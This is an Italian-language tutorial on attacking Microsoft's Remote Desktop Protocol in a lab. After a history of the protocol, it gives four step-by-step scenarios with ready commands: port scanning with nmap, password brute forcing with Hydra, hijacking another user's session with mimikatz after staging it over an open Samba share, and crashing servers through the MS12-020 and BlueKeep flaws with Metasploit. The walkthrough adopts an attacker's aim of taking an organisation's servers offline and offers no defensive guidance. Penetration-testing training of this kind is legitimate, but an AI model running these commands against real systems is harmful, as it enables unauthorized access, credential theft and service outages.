RDP Attack

Origini del Protocollo RDP

Il protocollo RDP (Remote Desktop Protocol) nasce negli anni ’90 come parte integrante del sistema operativo Windows NT 4.0 Terminal Server Edition. Questa edizione di Windows era progettata per funzionare come un server a cui gli utenti potevano connettersi in remoto, permettendo l’accesso ad un ambiente Windows centralizzato. Originariamente, la funzionalità era nota come “Terminal Services”.

Con l’arrivo di Windows 2000 e XP, il protocollo si è evoluto rapidamente: ha introdotto una gamma più ampia di colori, la capacità di mappare stampanti remote, il trasferimento di file tra client e server. Con Windows Server 2003 poi, RDP ha affinato ulteriormente le sue potenzialità, offrendo funzionalità come il supporto per schermi multipli. Ma è stato con Windows Vista e Windows Server 2008 che RDP ha consolidato la sua posizione, introducendo miglioramenti chiave nella sicurezza come Network Level Authentication e la crittografia SSL, assieme a nuove funzionalità per l’audio e la grafica.

Il lancio di Windows 7 e Windows Server 2008 R2 ha portato ulteriori innovazioni al protocollo, con la virtualizzazione delle schede grafiche e l’integrazione di dispositivi USB, migliorando così la “User Experience”. Tuttavia, una delle trasformazioni radicali è avvenuta con Windows 8 e Windows Server 2012. Con RDP 8.0, Microsoft ha completamente stravolto le performance del protocollo, migliorando notevolmente l’esperienza sulle reti con una banda limitata.

Infine, con Windows 10 e Windows Server 2016, RDP ha aumentato il suo potenziale di integrazione e performance, abbracciando l’accelerazione grafica hardware e garantendo una migliore compatibilità con piattaforme cloud.

Difatti, il protocollo si è imposto come standard nell’accesso remoto ai sistemi Windows.

Dettagli Tecnici

1. Architettura: RDP è basato sul modello client-server. Il server ospita la sessione e il client si connette a quella sessione. Questo permette agli utenti di controllare il server come se fossero fisicamente presenti davanti al computer.
2. Codifica: RDP utilizza tecniche di compressione dei dati per ridurre la larghezza di banda necessaria per trasmettere informazioni tra il client e il server. Inoltre, adatta la qualità della trasmissione in base alle condizioni della rete.
3. Sicurezza: Una delle preoccupazioni principali riguardo l’accesso remoto è la sicurezza. RDP ha integrato funzionalità di sicurezza come la crittografia, autenticazione basata su certificati e Network Level Authentication (NLA), per garantire che solo gli utenti autorizzati possano stabilire una connessione.
4. Porta di Default: RDP utilizza la porta TCP 3389.
5. Funzionalità Avanzate: Con gli anni, RDP ha introdotto funzionalità come il trasferimento di file, la stampa remota, la condivisione di appunti e l’audio bidirezionale. Questo ha reso possibile per gli utenti non solo controllare un computer in remoto, ma anche utilizzare quasi tutte le funzionalità come se fossero fisicamente presenti.
6. Compatibilità: Anche se RDP è un protocollo sviluppato da Microsoft, esistono client RDP per quasi tutte le piattaforme, inclusi macOS, Linux e dispositivi mobili.

Il Remote Desktop Protocol ha rappresentato un balzo significativo nell’accesso remoto, facilitando le operazioni e la manutenzione dei sistemi Windows. Tuttavia “un grande potere comporta grandi responsabilità”: addentriamoci quindi nelle tecniche di attacco al protocollo RDP.

Intro  – The Lab Environment

Il nostro laboratorio di test sarà così composto:

• Macchina Attaccante: Kali Linux – IP: 192.168.178.129
• Prima Macchina Target: Windows 11su Oracle VM – IP: 192.168.178.131
• Seconda Macchina Target: Windows Server 2008 R2 x64 su Oracle VM – IP: 192.168.178.133
• Terza Macchina Target: Windows 7 x64– 14: IP: 192.168.178.135

Per abilitare l’accesso RDP sulla macchina target, procediamo nel seguente modo:

1. Premiamo “Windows + R” per aprire la finestra di dialogo “Esegui”
2. Digitiamo “sysdm.cpl” e diamo “Invio”
3. Si aprirà in questo modo la scheda “System Properties”
4. Scegliamo la categoria “Remote”
5. Alla voce “Remote Desktop” clicchiamo su “Allow remote connections to this computer”
6. Infine, “Apply”

Scenario 1 – RDP Attack via Brute Force

Come primo scenario, ipotizziamo che il nostro Amministratore di rete abbia configurato delle regole di Network Address Translation (NAT) sul Firewall aziendale, per consentire l’accesso RDP da Internet su un server di produzione. Inoltre, l’organizzazione target non ha implementato nessuna misura di sicurezza aggiuntiva rendendo così il server un bersaglio facile per l’attaccante.

Utilizziamo nmap per effettuare una scansione sull’host target, puntando alla porta di default del servizio:

nmap -vvv -n -Pn -sT 192.168.178.131 -p 3389

1. nmap: avvia l’utility nmap.
2. -vvv: aumenta il livello di verbosità dell’output. Più “v”, più dettagliato sarà l’output.
3. -n: non risolve gli indirizzi IP in nomi DNS.
4. -Pn: Tratta tutti gli host come se fossero online e salta la fase di discovery (ping).
5. -sT: tenta di stabilire una connessione TCP, completando l’hand-shake con ogni porta specificata. È più lento e rilevabile rispetto ad altre tecniche, ma non richiede privilegi di root.
6. 168.178.131: indirizzo IP dell’host di destinazione da analizzare.
7. -p 3389: esegue la scansione solo sulla porta specificata. In questo caso è la porta 3389, comunemente utilizzata per il protocollo Remote Desktop Protocol (RDP) di Microsoft.

L’output di nmap, ci mostra che lo stato della porta è “open”, dandoci anche la “REASON”: l’attaccante ha inviato un SYN e il target ha risposto con un SYN-ACK, per cui lo stato della porta è “open”.

Dopo esserci assicurati che il servizio è in ascolto sulla porta di default, effettuiamo una scansione più “invasiva” con l’opzione -A

nmap -A 192.168.178.131 -p 3389

L’opzione -A in nmap è una delle opzioni più potenti e utili, poiché combina diverse funzionalità di alto livello in un singolo flag. L’opzione -A attiva la rilevazione delle versioni, l’esecuzione di script, il riconoscimento dei sistemi operativi ed il traceroute.

• Rilevazione della versione (-sV): nmap tenta di determinare la versione delle applicazioni che sono in esecuzione su ciascuna porta aperta.
• Riconoscimento del Sistema Operativo (-O): nmap cerca di determinare il sistema operativo (e alcune altre caratteristiche, come ad esempio la versione e il dispositivo) dell’host target. Ciò viene fatto analizzando le risposte ai pacchetti inviati durante la scansione.
• Esecuzione di script (NSE: Nmap Scripting Engine): nmap ha un motore di scripting estremamente potente chiamato NSE (Nmap Scripting Engine). Con l’opzione -A, nmap eseguirà una serie di script predefiniti da una categoria chiamata “default”, oltre a qualsiasi script specifico per la rilevazione delle versioni.
• Traceroute (–traceroute): questa opzione fa in modo che nmap determini e mostri il percorso attraverso la rete che i pacchetti seguono per raggiungere l’host target.

Analizzando l’output del comando possiamo osservare che il nome della macchina è SERVER01. Inoltre, dato che il nome del dominio NetBIOS, il nome del computer NetBIOS, il nome del dominio DNS e il nome del computer DNS sono tutti “SERVER01” potremmo supporre che la macchina non faccia parte di un dominio AD (Active Directory).

Possiamo adesso tentare il nostro attacco di Brute-Force. Esistono diversi tool per portare a segno un attacco di questo tipo. Nel nostro caso utilizzeremo Hydra.

hydra -l blue -P /usr/share/wordlists/rockyou.txt rdp://192.168.178.131 -V -t 4

• hydra: comando principale che avvia il tool.
• -l blue: specifica un nome utente per il tentativo di accesso. In questo caso, stiamo cercando di effettuare l’accesso come utente “blue”.
• -P /usr/share/wordlists/rockyou.txt: utilizziamo un elenco di password per i tentativi di accesso. Il file /usr/share/wordlists/rockyou.txt è una delle wordlist più trapelate da un data leak.
• rdp://192.168.178.131: specifica a hydra di tentare l’attacco sul servizio RDP all’indirizzo IP 168.178.131.
• -V: per visualizzare tutti i tentativi di accesso nel terminale, piuttosto che solo quelli riusciti. La “V” sta per “verbose”, ovvero “dettagliato”.
• -t 4: questa opzione indica a hydra di utilizzare 4 connessioni contemporaneamente. Questo può accelerare l’attacco Brute-Force, ma aumentare eccessivamente il numero potrebbe causare falsi negativi o sovraccaricare e creare un “down-time” del servizio target.

L’attacco è andato a segno e siamo riusciti a trovare la password per l’utente “Blue”.

Nota: nell’attacco abbiamo supposto di essere riusciti ad ottenere il nome utente. Volendo, avremmo potuto specificare una wordlist anche per i nomi utente, utilizzando l’opzione -L .

Dalla nostra macchina attaccante effettuiamo adesso l’accesso in RDP su SERVER01:

xfreerdp /v:192.168.178.131 /u:blue /p:shadow1

• xfreerdp: è il nome del client FreeRDP che viene utilizzato per stabilire connessioni RDP.
• /v:192.168.178.131: specifica l’indirizzo IP del server a cui si desidera connettersi.
• /u:blue: specifichiamo il nome utente con cui si desidera connettersi.
• /p:shadow1: forniamo la password per l’account utente specificato. In questo esempio, la password è “shadow1”.

 

Scenario 2 – Session Hijacking

Dopo aver ottenuto le credenziali dell’utente “Blue” siamo riusciti ad avere accesso RDP alla macchina SERVER01. Supponiamo adesso che un altro utente sia loggato sulla macchina o che la sua sessione sia rimasta attiva non avendo effettuato il log-off.

Il “Session Hijacking”, noto anche come “Session Sidejacking”, “Session Takeover” o “Session Theft”, si riferisce all’atto di prendere il controllo di una sessione utente, per accedere in modo non autorizzato a un sistema o ad un’applicazione. Questa tecnica può essere utilizzata per guadagnare l’accesso a sistemi, siti web o applicazioni come se si fosse l’utente originale.

In termini generali, dopo che un utente ha effettuato l’accesso ad un sistema o applicazione, gli viene assegnato un token di sessione o un cookie di sessione. Se un malintenzionato riesce a catturare questo token o cookie, può impersonare quell’utente e accedere alla sessione come se fosse lui.

Eseguiamo l’accesso sulla macchina vittima SERVER01 via RDP, come fatto in precedenza.

Dal Task Manager nella sezione user, possiamo osservare che sulla macchina sono attualmente attive due sessioni: una dell’utente corrente (la nostra) un’altra dell’utente Admin.

Per portare a segno questo attacco avremo bisogno del tool mimikatz sulla macchina target. Individuiamo il percorso del file binario sulla macchina attaccante, con il comando:

locate mimikatz

Creiamo una directory dove andremo a posizione il tool mimikatz. Nel mio caso, il percorso completo è: /home/a1rk/RDPAttack

Copiamolo nella directory che abbiamo creato:

cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe /home/a1rk/RDPAttack

Adesso dobbiamo trasferire il file sulla macchina vittima. Per farlo, possiamo servirci di svariate modalità, compreso l’utilizzo del tool impacket. Tuttavia, procediamo utilizzando un metodo meno popolare e creiamo una share sulla macchina attaccante attraverso Samba.

Per prima cosa, modifichiamo il file di configurazione di Samba con un editor di testo:

sudo mousepad /etc/samba/smb.conf

Spostiamoci alla fine del file e inseriamo i parametri della condivisione:

[RDPAttack]
path = /home/a1rk/RDPAttack/
available = yes
read only = no
browsable = yes
public = yes
writable = yes

Riavviamo il servizio Samba per applicare le modifiche sudo service smbd restart e infine diamo permessi full alla nostra share: sudo chmod 777 RDPAttack

NB: alla fine dell’operazione ricordiamoci di eliminare la share.

Torniamo sulla macchina vittima, dove abbiamo una sessione RDP attiva con l’utente Blue.

Utilizziamo la combinazione di tasti Win + R per lanciare Powershell con l’omonimo comando e copiamo dalla share contente l’eseguibile di mimikatz (che abbiamo messo a disposizione attraverso samba) sulla macchina vittima:

copy \\192.168.178.129\RDPAttack\mimikatz.exe C:\Users\Blue\

Siamo connessi alla macchina vittima come “Blue”, ne abbiamo conferma eseguendo il comando in powershell:

[System.Security.Principal.WindowsIdentity]::GetCurrent().Name

o più semplicemente

whoami

Avviamo adesso mimikatz e listiamo le sessioni attive sulla macchina:

./mimikatz.exe

privilege::debug

ts::sessions

Come possiamo osservare, all’utente “Admin” è assegnata la sessione numero 1.

Cerchiamo adesso un token con privilegi elevati (ad esempio, un token di un processo di sistema o di un amministratore) e “usurpiamo” tale token per elevare i privilegi della sessione corrente. Il nostro target è NT Authority\SYSTEM.

NT Authority\SYSTEM è un’identità speciale nel sistema operativo Windows e rappresenta il livello più alto di privilegi. Ha accesso a tutti i sistemi e ai servizi sul computer locale, e può effettuare qualsiasi operazione.

token::elevate

Adesso possiamo prendere il controllo della sessione dell’utente “Admin” aperta sulla macchina, digitando il comando:

ts::remote /id:1

Appena avremo dato invio, verremo switchati automaticamente sulla sessione attiva dell’utente “Admin”.

Scenario 3 – DOS Attack Vuln MS12-020

Molte organizzazioni non implementano policy di aggiornamento adeguate, mantenendo vivi sistemi operativi obsoleti e non aggiornati. Sia organizzazioni con risorse limitate e conoscenze insufficienti in materia di sicurezza, sia organizzazioni molto grandi che non hanno un pieno controllo sui loro sistemi (ad esempio per via di software obsoleti compatibili esclusivamente con determinate versioni di un dato sistema operativo) endono a mantenere versioni vecchie di Windows non aggiornate e pericolosamente esposte.  Il nostro attaccante ha intenzione di causare un disservizio alla società, mettendo offline il loro server.

 La vulnerabilità MS12-020 permette agli attaccanti di inviare pacchetti malevoli ad un sistema che consente l’accesso RDP, causando potenzialmente un crash del servizio e rendendolo inutilizzabile. Più specificamente, si trattava di un attacco di tipo Denial of Service (DoS).

Eseguiremo l’attacco su un’altra macchina connessa in rete all’IP: 192.168.178.133

Per portare a segno questo attacco, sfrutteremo il Framework di Metasploit.

Sulla macchina attaccante digitiamo: msfconsole

Una volta eseguito il Framework, utilizziamo uno dei moduli ausiliari per vedere se il target è vulnerabile.

use auxiliary/scanner/rdp/ms12_020_check

Settiamo il target

set RHOSTS 192.168.178.133

Lanciamo il modulo ausiliario

run

Come possiamo vedere dall’immagine, il modulo ha dato un riscontro positivo: l’host è vulnerabile. Possiamo adesso procedere con l’attacco.

Inizialmente, viene individuato il dispositivo target attraverso il suo indirizzo IP, dopodiché stabilisce una connessione con esso via RDP. Una volta che il dispositivo target conferma di essere pronto per la connessione, l’exploit invia sequenze di pacchetti di dimensione crescente fino a che il dispositivo crasha. Nella nostra dimostrazione, possiamo osservare che la sequenza inizia con un pacchetto di 210 byte.

Carichiamo il modulo per eseguire l’attacco:

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

settiamo il target

set RHOSTS 192.168.178.133

Lanciamo l’attacco

exploit

Come osserviamo dall’immagine il nostro attacco ha avuto successo ed il server è crashato.

Scenario 4 – DoS: BlueKeep Exploit

In maniera simile al precedente scenario, l’organizzazione target possiede diverse macchine Windows 764bit (non aggiornate) che fanno parte di un’ipotetica rete di magazzino, accessibile tramite una rete WiFi non sufficientemente protetta. Lo scopo dell’attaccante è causare un disservizio alla società mettendo offline le macchine.

BlueKeep è una vulnerabilità individuata nell’architettura RDP e permette ad un attaccante di eseguire codice remotamente. Identificata nella metà del 2019, comporta un particolare rischio per i sistemi Windows Server 2008 e Windows 7. L’attacco si basa sulla corruzione dell’heap ed all’interno di Metasploit sono disponibili lo scanner dedicato e l’exploit.

Cominciamo quindi con avviare nuovamente il Framework di attacco Metasploit, attraverso il comando msfconsole

Carichiamo il modulo ausiliaro per eseguire il check sulla vulnerabilità.

use auxiliary/scanner/rdp/cve_2019_0708_bluekeep

Specifichiamo il target

set RHOSTS 192.168.178.135

Lanciamo il modulo

run

Il target è vulnerabile.

L’exploit di BlueKeep è stato originariamente pensato per accedere alla macchina target. Perché l’exploit funzioni, è necessario trovare l’indirizzo iniziale del parametro Non-PagedPool e inserirlo nell’exploit. Per eseguire questa operazione dovremmo avere accesso alla macchina virtuale target e scaricare l’intero contenuto della memoria, cosa che il nostro attaccante non può fare. Utilizzerà quindi l’exploit BlueKeep per generare un memory corruption nei sistemi target causando di conseguenza un Denial of Service.

Nota: L’attaccante potrebbe provare a riprodurre in laboratorio l’ambiente target e tentare di identificare l’indirizzo della Non-PagedPool per poi inserirlo nell’exploit, assegnandolo alla variabile ‘GROOMBASE’ (presente nel codice ruby dell’exploit). Il risultato non è comunque garantito in un contesto reale.

Procediamo quindi con il tentativo di exploitation.

Switchiamo il modulo passando a:

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

Specifichiamo il target:

set RHOSTS 192.168.178.135

Questa volta avremo bisogno di specificare quale tipologia di ambiente target stiamo per “exploitare”. Quindi digitiamo: info per avere ulteriori informazioni sull’exploit che stiamo per lanciare.

L’exploit richiede poi ulteriori parametri: la versione del sistema operativo target e l’eventuale ambiente di virtualizzazione che lo ospita, selezioniamo quindi il target 3.

set target 3

Lasciamo il payload di default, in quanto il nostro intento è esclusivamente quello di causare un Denial of Service dell’host.

Possiamo ora lanciare l’exploit con l’omonimo comando.

exploit

Dopo pochi secondi, la schermata blu di Windows confermerà il crash e l’errore che avevamo previsto.